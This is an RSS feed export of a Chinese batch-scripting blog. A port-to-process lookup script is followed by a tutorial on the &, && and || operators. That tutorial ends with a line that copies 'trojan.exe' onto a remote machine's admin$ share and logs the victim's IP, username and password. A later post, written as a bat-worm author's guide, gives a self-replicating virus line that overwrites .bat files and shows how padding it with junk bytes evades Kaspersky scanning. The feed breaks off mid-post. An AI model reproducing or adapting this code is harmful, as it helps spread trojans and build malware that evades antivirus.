temp_1=lmj_zhl$.txt&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set temp_2=lmj_zhl2$.txt&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_1=%1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_2=2&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:BEGIN&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if &quot;%zhl_1%&quot;==&quot;&quot; goto :HELP&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %zhl_1%==0 @echo 端口号不能为零！&amp;&amp; goto :END&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist %zhl_file% erase %zhl_file%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist %zhl_temp_file% erase %zhl_temp_file%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 正在处理网络端口...&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;netstat -ano &#124; find &quot;:&quot; &gt;%zhl_file% 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;eol=U tokens=1,2,3,4,5*&quot; %%a in (%zhl_file%) do @echo %%a %%b$ %%c %%d #&quot;&quot;%%e&quot;&quot;# &gt;&gt; %zhl_temp_file% 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;eol=T tokens=1,2,3,4*&quot; %%a in (%zhl_file%) do @echo %%a %%b %%c * #&quot;&quot;%%d&quot;&quot;# &gt;&gt; %zhl_temp_file% 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist %zhl_file2% erase %zhl_file2%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist %zhl_temp_file2% erase %zhl_temp_file2%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 正在读取进程映像......&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;tasklist /FO CSV &gt;%zhl_file2% 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 正在初始化映像和端口......&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;skip=2 tokens=1,2,3,4,5* delims=,&quot; %%a in (%zhl_file2%) do @echo %%a,#%%b#,%%c,%%d,%%e &gt;&gt; %zhl_temp_file2% 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 正在查找进程和端口对应关系......&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist %temp_1% erase %temp_1%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;type %zhl_temp_file% &#124; find &quot;:%zhl_1%$&quot; &gt;&gt; %temp_1% 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;tokens=4,5*&quot; %%x in (%temp_1%) do @set zhl_2=%%y&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if &quot;%zhl_2%&quot;==&quot;2&quot; echo 没有任何进程使用%zhl_1%端口 &amp;&amp; goto :END&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;type %zhl_temp_file2% &#124; find &quot;%zhl_2%&quot; &gt;&gt; %temp_2% 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;tokens=1,2* delims=,&quot; %%f in (%temp_2%) do @set zhl_3=%%f&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 发现进程%zhl_3%使用%zhl_1%端口&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem if exist Temp1.zhl erase Temp1.zhl&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem for /f &quot;tokens=2,3*&quot; %%i in (1.txt) do @echo %%j* &gt;&gt; Temp1.zhl&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem if exist Temp2.zhl erase Temp2.zhl&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem for /f &quot;tokens=1,2* delims=:&quot; %%j in (Temp1.zhl) do @echo %%k &gt;&gt; Temp2.zhl&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;REM echo %zhl_1%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;REM type Temp1.zhl &#124; find &quot;%zhl_1%*&quot; /N&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto :end&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:HELP&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo WINXP/WIN2003查看指定端口是哪个进程使用&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo USE: %0 port&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:END&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;REM ====================================&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;REM 最后的清扫工作&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;REM ====================================&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;erase %zhl_file% 1&gt;nul 2&gt;&amp;1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;erase %zhl_file2% 1&gt;nul 2&gt;&amp;1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;erase %zhl_temp_file% 1&gt;nul 2&gt;&amp;1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;erase %zhl_temp_file2% 1&gt;nul 2&gt;&amp;1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;erase %temp_1% 1&gt;nul 2&gt;&amp;1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;erase %temp_2% 1&gt;nul 2&gt;&amp;1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_file=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_temp_file=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_file2=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_temp_file2=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set temp_1=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_1=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_2=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=742]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:24:00 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[如何使用组合命令(Compound Command)数]]></title>
  <description><![CDATA[<span style="font-size: 13px;">1、&amp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 &amp; 第二条命令 &#091;&amp; 第三条命令...&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，而不管命令是否执行成功&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Sample：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;C:dir z: &amp; dir c:adam&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Directory of c:adam&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 &lt;DIR&gt; .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 &lt;DIR&gt; ..&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 14 sometips.gif&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2、&amp;&amp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 &amp;&amp; 第二条命令 &#091;&amp;&amp; 第三条命令...&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Sample：C:dir z: &amp;&amp; dir c:adam&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;dir c:adam &amp;&amp; dir z:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Directory of c:adam&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 &lt;DIR&gt; .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 &lt;DIR&gt; ..&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 14 sometips.gif&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;1 File(s) 14 bytes&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2 Dir(s) 768,671,744 bytes free&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;在做备份的时候可能会用到这种命令会比较简单，如：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;dir file://192.168.0.1/database/backup.mdb &amp;&amp; copy file://192.168.0.1/database/backup.mdb E:backup&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;3、&#124;&#124;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 &#124;&#124; 第二条命令 &#091;&#124;&#124; 第三条命令...&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Sample：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;C:adam&gt;dir sometips.gif &#124;&#124; del sometips.gif&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Directory of C:adam&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 14 sometips.gif&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;1 File(s) 14 bytes&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;0 Dir(s) 768,696,320 bytes free&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;组合命令使用的例子：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;sample：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@copy trojan.exe &#92;%1admin$system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=741]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:23:09 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[一些有用的批处理技巧]]></title>
  <description><![CDATA[<span style="font-size: 13px;">当我在写一个bat蠕虫的时候我发现了一个对bat病毒来说非常有用的技术，比如用在加密或多态性.我也&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;发现了一些其他技术，而且这些技术是反ava技术的.好了，让我们开始吧...&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;索引&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;我敢保证，以下我所说的技术都是你们想知道的，下面是内容的简略部分 :)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;1.加入欺骗代码&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2.让文件夹无法删除&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;3.加入EICAR测试文件&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;4.代码中的垃圾伪代码&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;加入欺骗代码&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;这是一个反kav杀毒的技术.或许你知道,kav只检查bat文件的前1000 Byte,那么大家想想,这对我们来说&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;意味着什么呢?:)我们可以在bat病毒文件前加入1000 Byte的垃圾代码.下面是一段只在当前文件夹内覆&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;盖bat文件的病毒代码,kav称之为&#039;BAT.Silly.d&#039;.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;BAT.Silly.d&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (*.bat) do copy %0 %%a&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;现在让我们来测试一下新技术.在一个bat文件中包含1000 Btye的垃圾代码不会影响到bat文件的正常运&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;行,因为bat文件忽略简单的输入错误,下面的代码中就包含了随机的小写字母.同样也可以包括大写字母&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;等其他的一些字符,但是必须要注意的是不能包含&#039;&lt;&#039;或&#039;&gt;&#039;这样的字符,因为这样的话,计算机会认为你要&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;输入或输出字符,到计算机终端设备.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Fake Bytes&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;stjrdnfuqlgmpuwefguowyakzxgkxolraxozihswcfngwkpaolmmyfrzmsxbcnvrmwrtnjpwybshmhxjtimvzwjuoakncjwynilyp zciptpriqzrfqkqwgfiqpivuityndlqmlivmdtkjuynjdxzmpjedfjacsqgybiwcamxxxwolzzkprquufavkqfdyuqjcxvpizrakx pdmogwizgfrjhvxrmeewywmknxbqbthypeksxmywlfaijracwftfsflicvgfwqzsnrductwbvvtkkzerzgpcbzkngktcdfybzsnby emlcctvneufmhnvfsutoqnldznssinuqigrxbzyxwfmblnqhxztsokqyldnimzgjsmqwshasowgjrmwldkikgjwuffflhwugwrbqd qhbueiaahtvwmhfrhntudpvscpkiftyiwceboltowopsojwxbuarilavnacqlljixreykldgdqxdckayqztleotrbijiwzpesheyd cweyfyrldgvwkcocrqfqtlxuchxdhkpddokhpvxcihqshgqnpjoeqlxspcncyzlvkywzbtijvuiazhevcorognwzgscmmcappqrzw vmtjkatslrkzxrrwxiawspgfvwwphueigwostqtuwrsabmlsrugeudglkmadpimsdbhsmhzlqtcaqftezwbaqrlkzjnzdhvhrpgbi ajbakariwolazvdwhskrdsyqqcjayyqwusubevwumtwysahdzxtqhausneeistduraaaozircfrxqaidvarbiwibwzbtjajurezzd wvqswebffznuymcvqhitlgknfdlwbzdlxfikprozaaxynlxhtmcflbnptelhpgpymekdijonvhyiswpgprdhxtffzimxrdofzonaz qficniylakfqrazsqqviidufwfuwcialsryemswoekufgliuyybgzdydtqfmqnfqwdxmztbzqultebjbahjcadmibazhxsqljsslv cqqqtsqfndkcwihitiscoqqsphuooymtkolmjdielrslulfpqodcitauueorvbyohxhmwgfwozxkggipmgpkoutzykratrhamqbxj&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (*.bat) do copy %0 %%a&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;上面的代码看起来是那么的愚蠢:).但是运行的时候kav是不会显示任何警告和提示的.我想你一定非常喜&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;欢这项技术.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;让文件夹无法删除&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;这项技术看起来比较酷.其实他的原理是利用了windows系统的一个小bug.假如我们在MS-DOS下创建一个&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;包含特殊字符的文件夹,那么在windows下将无法确认这个新建的文件夹,随之而来的便是你无法删除,移&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;动或者打开他.下面我们列出所有的这些特殊字符的ASCII码.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 